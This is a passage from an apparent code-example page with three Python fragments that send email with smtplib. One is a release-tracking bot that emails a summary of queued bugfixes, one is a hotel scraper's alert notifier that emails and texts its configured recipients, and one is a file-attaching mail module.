        first_version = "%s.0" % (version)

        # Get CHANGELOG for release
        changelog_page = requests.get(CHANGELOG)
        try:
            for l in changelog_page.content.decode('utf-8').split('\n'):
                # the below is a bit of a hack to parse out valid years in the CHANGELOG
                if (last_version in l) and ('201' in l or '202' in l
                                            or '200' in l) and '/' in l:
                    # set the date in which this version was last released
                    last_release_date = l.split(' ')[0]
                    last_release_datetime = datetime.strptime(
                        last_release_date.strip(), '%Y/%m/%d')
                    BUGQUEUE[version]['last'] = last_release_date
                    break
            for l in changelog_page.content.decode('utf-8').split('\n'):
                # the below is a bit of a hack to parse out valid years in the CHANGELOG
                if (first_version in l) and ('201' in l or '202' in l
                                             or '200' in l) and '/' in l:
                    # set the date in which this version was first released
                    first_release_date = l.split(' ')[0]
                    first_release_datetime = datetime.strptime(
                        first_release_date.strip(), '%Y/%m/%d')
                    BUGQUEUE[version]['first'] = first_release_datetime
                    break
        except:
            print(traceback.format_exc())
            last_release_date = False

        # get unix timestamp for today and timestamp of first release date
        today_ts = datetime.today().timestamp()
        first_version_ts = BUGQUEUE[version]['first'].timestamp()

        # calculate the age of this version in days and years
        version_age = math.ceil((today_ts - first_version_ts) / 86400)
        version_age_years = math.ceil(version_age / 365)

        # We do not want to monitor versions that are older
        # than MAX_VERSION_AGE or MAX_VERSION_AGE_NONLTS
        if version_age >= MAX_VERSION_AGE:
            print("\t - Version: %s is older than %d days, skipping" %
                  (version, MAX_VERSION_AGE))
            continue

        if version_age > MAX_VERSION_AGE_NONLTS:
            if int(version.split('.')[1]) % 2 > 0:
                print(
                    "\t - Version: %s is not LTS and is older than %d days, skipping"
                    % (version, MAX_VERSION_AGE_NONLTS))
                continue

        # If the release is older than 1 year let's increase the time until
        # a release is due. <base time threshold> * <version age years>
        if version_age_years > 1:
            for k in VERSION_THRESHOLDS.keys():
                VERSION_THRESHOLDS[k]['time'] *= int(version_age_years)

        # Let's capture the bug table which contains each bug & their severity
        bug_table = tree.xpath(
            '//th[contains(text(), "Severity")]/ancestor::table[last()]')[0]

        # Loop through bug table and parse out the title of each bug
        # found within the links and their merge date.
        # Example is: 2020-10-19 BUG/MINOR: disable dynamic OCSP load with BoringSSL
        for x in bug_table.xpath('.//a[contains(@href,"commitdiff")]'):
            # Capture the bug label
            # Example: BUG/MINOR: disable dynamic OCSP load with BoringSSL
            issue_tmp = x.xpath('./text()')[0]
            # Capture the date
            # Example: 2020-10-19
            date_tmp = x.xpath('../preceding-sibling::td/text()')[0]

            # Split the bug into a severity
            if "/" in issue_tmp:
                bug_type = issue_tmp.split(':')[0].split('/')[1].strip()
            else:
                bug_type = issue_tmp.split(':')[0].strip()
            bug_text = ":".join(issue_tmp.split(':')[1:]).strip()
            if bug_type not in issues[version].keys():
                issues[version][bug_type] = set()
            issues[version][bug_type].add("%s|%s" % (date_tmp, bug_text))

        # Loop through the issue_types (severities) (MINOR, MEDIUM, MAJOR, etc.)
        # We'll check if the severity has already been accounted for
        # If not, we'll set the timestamp to the timestamp of the current issue
        # If so, we'll check if the current bugs timestamp is less than the
        # previous one. This will help us to determine when we first saw this
        # severity type as calculations are based on the first time seeing a
        # severity type. We'll then set the number of issues for each severity.
        for issue_type in issues[version]:
            issues_count[issue_type] = {}
            for k in issues[version][issue_type]:
                if 'timestamp' not in issues_count[issue_type].keys():
                    issues_count[issue_type]['timestamp'] = int(
                        time.mktime(
                            datetime.strptime(k.split('|')[0],
                                              "%Y-%m-%d").timetuple()))
                else:
                    if issues_count[issue_type]['timestamp'] > int(
                            time.mktime(
                                datetime.strptime(k.split('|')[0],
                                                  "%Y-%m-%d").timetuple())):
                        issues_count[issue_type]['timestamp'] = int(
                            time.mktime(
                                datetime.strptime(k.split('|')[0],
                                                  "%Y-%m-%d").timetuple()))
            issues_count[issue_type]['count'] = len(
                issues[version][issue_type])

        release_date = None
        total_count = 0

        # Let's check the count for each severity type and see if they
        # are greater than our thresholds count. This can be used to
        # hold off on calculating release estimates until a certain number of
        # MINOR bugs have accumulated.
        for issue_type in issues_count.keys():
            if issues_count[issue_type]['count'] >= VERSION_THRESHOLDS[
                    issue_type]['count']:
                # If the total number of issues is greater than the threshold
                # for a severity we'll attempt to set a release date.
                # We'll use the timestamp from the first time an issue was
                # seen and add on the number of days specified within the
                # THRESHOLDS for that issue type. We'll also increment
                # the total number of issues that have been fixed in this
                # version across all severities/issue types.
                total_count += issues_count[issue_type]['count']
                issue_timestamp_delta = datetime.fromtimestamp(
                    int(issues_count[issue_type]['timestamp'])) + timedelta(
                        days=int(VERSION_THRESHOLDS[issue_type]['time']))
                if not release_date: release_date = issue_timestamp_delta
                elif release_date > issue_timestamp_delta:
                    release_date = issue_timestamp_delta

        if release_date: release_soon = True
        if release_soon:
            time_until_release = release_date - datetime.now()

        # If a release date has been sent, let's calculate how long
        # in words until that release. i.e. "less than 2 weeks"
        if release_soon:
            for k in sorted(RELEASE_URGENCY.keys()):
                if not RELEASE_URGENCY[k]:
                    release_urgency_msg = k
                elif time_until_release.days <= RELEASE_URGENCY[k]:
                    release_urgency_msg = k
            rounded_week_time = math.ceil(time_until_release.days / 7.0)
            if abs(rounded_week_time) > 1:
                week_word = 'weeks'
            else:
                week_word = 'week'
            try:
                # We now have all of the required information for building
                # the email message.
                # TODO: Fix alignment
                email_message = """%s
    Last release %s was issued on %s.  There are currently %d patches in the queue cut down this way:
""" % (email_message, last_version, last_release_datetime.strftime("%Y-%m-%d"),
                total_count)
                for issue_type in sorted(issues_count.keys()):
                    email_message = "%s    - %d %s, first one merged on %s\n" % (
                        email_message, issues_count[issue_type]['count'],
                        issue_type,
                        datetime.fromtimestamp(
                            int(issues_count[issue_type]
                                ['timestamp'])).strftime("%Y-%m-%d"))
                email_message = "%s\nThus the computed ideal release date for %s would be %s, " % (
                    email_message, ".".join(last_version.split(".")[:-1]) +
                    "." + str(int(last_version.split(".")[-1]) + 1),
                    release_date.strftime("%Y-%m-%d"))
                if rounded_week_time < 0:
                    email_message = "%swhich was %s %s ago.\n" % (
                        email_message, num_to_word[abs(rounded_week_time)],
                        week_word)
                elif rounded_week_time == 0:
                    email_message = "%swhich was within the last week.\n" % (
                        email_message)
                else:
                    email_message = "%swhich is in %s %s or less.\n" % (
                        email_message, num_to_word[rounded_week_time],
                        week_word)
            except Exception as err:
                print(traceback.format_exc())
                sys.exit()
            # Total number of bugs fixed in this version
            # since last release.
            BUGQUEUE[version]['total'] = total_count

    email_subject = "stable-bot: Bugfixes waiting for a release "

    # Add each version & their number of bugs to the subject
    for k in sorted(BUGQUEUE.keys(), reverse=True):
        if BUGQUEUE[k]['total'] > 0:
            email_subject = "%s %s (%d)," % (email_subject, k,
                                             BUGQUEUE[k]['total'])

    email_subject = email_subject.rstrip(",")
    email_message = "%s\nThe current list of patches in the queue is:\n" % (
        email_message)
    uniq_issues = set()

    # Parse out unique issues across all versions so that we can
    # print them once with the list of affected versions.
    for k in BUGQUEUE.keys():
        for issue_type in sorted(issues[k].keys()):
            for issue in issues[k][issue_type]:
                uniq_issues.add("%s|%s" % (issue_type, issue.split('|')[1]))

    # Loop through the unique issues and determine which versions
    # are affected.
    for i in uniq_issues:
        affected_versions = []
        for k in BUGQUEUE.keys():
            try:
                if search_set(issues[k][i.split('|')[0]], i.split('|')[1]):
                    affected_versions.append(k)
            except Exception as e:
                pass
        if affected_versions:
            affected_versions.sort()
            try:
                BUGS["bugs"].append({
                    "affected_versions": affected_versions,
                    "bug": i.split('|')[1],
                    "severity": i.split('|')[0]
                })
            except:
                BUGS["bugs"] = [{
                    "affected_versions": affected_versions,
                    "bug": i.split('|')[1],
                    "severity": i.split('|')[0]
                }]

    BUGS["bugs"] = sorted(BUGS["bugs"], key=lambda i: i['severity'])

    # Add each issue with affected versions to email message
    # Example:
    # - 1.8, 2.0, 2.1, 2.2 - MINOR   : stats: fix validity of the json schema
    for bug in BUGS["bugs"]:
        email_message = "%s - %s %s %s : %s\n" % (
            email_message, ", ".join(bug["affected_versions"]).ljust(14),
            "-".rjust(12), bug["severity"].ljust(7), bug["bug"])

    email_message = "%s\n-- \nThe lolproxy stable-bot is freely provided by LOLProxy Technologies to help improve the quality of each LOLProxy release.  If you have any issue with these emails or if you want to suggest some improvements, please post them on the list so that the solutions suiting the most users can be found.\n" % (
        email_message)

    # If a message with actual issues exists let's either print it or send out
    # an email.
    if "first one merged on" in email_message:
        if args.print:
            print(email_subject)
            print(email_message)
        if SEND_MAIL:
            print('Send email to:%s from:%s' % (TO_EMAIL, FROM_EMAIL), end="")
            msg = MIMEText(email_message)
            msg['to'] = TO_EMAIL
            msg['from'] = FROM_EMAIL
            msg['subject'] = email_subject
            msg.add_header('reply-to', TO_EMAIL)
            try:
                server = smtplib.SMTP('127.0.0.1', timeout=10)
                server.sendmail(msg['from'], [msg['to']], msg.as_string())
                print(" - Email sent")
            except (ConnectionRefusedError, smtplib.SMTPConnectError):
                print("- Error: SMTP Connection Error")
                sys.exit()
            except smtplib.SMTPServerDisconnected:
                print('- Error: SMTP Server Disconnect (possible timeout)')
                sys.exit()
            except (smtplib.SMTPRecipientsRefused, smtplib.SMTPSenderRefused):
                print('- Error: Recipients or Sender Refused')
                sys.exit()
            except (smtplib.SMTPHeloError, smtplib.SMTPAuthenticationError):
                print('- Error: SMTP rejected HELO or requires Authentication')
                sys.exit()
            except:
                print(traceback.format_exc())
                sys.exit()
Esempio n. 59
0
    def notify(self, data_object, ref_uuid=None):
        """
        Sends SMS/MMS and email messages based on settings.

        :param data_object: contains the results triggering the messages
        :type data_object: dragonite.scrapers.base.ScrapeResults
        :param ref_uuid: the UUID of the scrape for reference if needed
        :type ref_uuid: uuid.UUID or a str UUID

        NOTE: SMS/MMS messages do not appear to work properly unless
        sent to the gateway as a multipart/mixed email.

        NOTE: SMS messages can only be up to 160 characters; it needs to
        use an MMS gateway if it is longer than that limit.
        """
        alert_uuid = str(ref_uuid) if ref_uuid else uuid.uuid4().hex
        log.debug('notify UUID={0}'.format(alert_uuid))

        template_variables = {
            'to_name': ', '.join([to['first_name'] for to in self.recipients]),
            'hotel': {
                'name': data_object.parent.friendly,
                'phone': data_object.parent.phone,
                'phone': data_object.parent.phone,
                'link': data_object.parent.link,
                'rooms': '<unknown>',
            },
            'debug_test': self.conf.debug,
            'alert_uuid': alert_uuid,
        }
        if hasattr(self.conf, 'inject_message'):
            template_variables['inject_message'] = self.conf.inject_message

        if self.send_email:
            cookies = json.dumps(data_object.session.cookies.get_dict(),
                                 indent=2)
            to_list = [to['email'] for to in self.recipients]

            email = MIMEMultipart(_subtype='mixed')
            email['subject'] = self.email_subject
            email['to'] = ', '.join(to_list)
            email['from'] = self.gateway._sender
            email['sender'] = '*****@*****.**'
            email['reply-to'] = ', '.join(to_list)

            body_text_plain = self.email_template.render(render_html=False,
                                                         **template_variables)
            body_text_html = self.email_template.render(render_html=True,
                                                        **template_variables)
            email_body = MIMEMultipart(_subtype='alternative')
            email_body.attach(MIMEText(body_text_plain, _subtype='plain'))
            email_body.attach(MIMEText(body_text_html, _subtype='html'))
            email.attach(email_body)

            raw_response = MIMEText(data_object.raw, _subtype='html')
            raw_response.add_header('Content-Disposition',
                                    'attachment',
                                    filename='raw_response.html')
            email.attach(raw_response)

            cookies = MIMEApplication(cookies, _subtype='json')
            cookies.add_header('Content-Disposition',
                               'attachment',
                               filename='cookies.json')
            email.attach(cookies)

            config = MIMEApplication(self.conf.dumps(pretty=True),
                                     _subtype='json')
            config.add_header('Content-Disposition',
                              'attachment',
                              filename='settings.json')
            email.attach(config)

            self.gateway.send(to_list, email.as_string())
            log.debug(('*************************\n'
                       'email sent to {0}:\n\n{1}').format(
                           template_variables['to_name'], email.as_string()))

        if self.send_sms:
            message_text = self.sms_template.render(**template_variables)
            message_length = len(message_text)
            if message_length < 160:
                message_type = 'sms'
            else:
                message_type = 'mms'
            message = MIMEMultipart(_subtype='mixed')
            if message_type == 'mms':
                message['subject'] = self.mms_subject
            message.attach(MIMEText(message_text, _subtype='plain'))
            for to in self.recipients:
                self.gateway.send(to[message_type], message.as_string())
                log.debug(
                    ('*************************\n'
                     '{0} sent to {1}:\n\n{2}').format(message_type.upper(),
                                                       to['comment'],
                                                       message.as_string()))
Esempio n. 60
0
    part = MIMEText(body + "\n\n", _charset=charset)
    msg.attach(part)

    if attach_files is not None:
        for file in attach_files.split():
            try:
                fp = open(file, 'rb')

                part = MIMEBase('application', 'octet-stream')
                part.set_payload(fp.read())
                fp.close()

                encoders.encode_base64(part)

                part.add_header('Content-disposition',
                                'attachment',
                                filename=os.path.basename(file))
                msg.attach(part)
            except Exception, e:
                module.fail_json(
                    rc=1,
                    msg="Failed to send mail: can't attach file %s: %s" %
                    (file, e))
                sys.exit()

    composed = msg.as_string()

    try:
        smtp.sendmail(sender_addr, set(addr_list), composed)
    except Exception, e:
        module.fail_json(rc=1,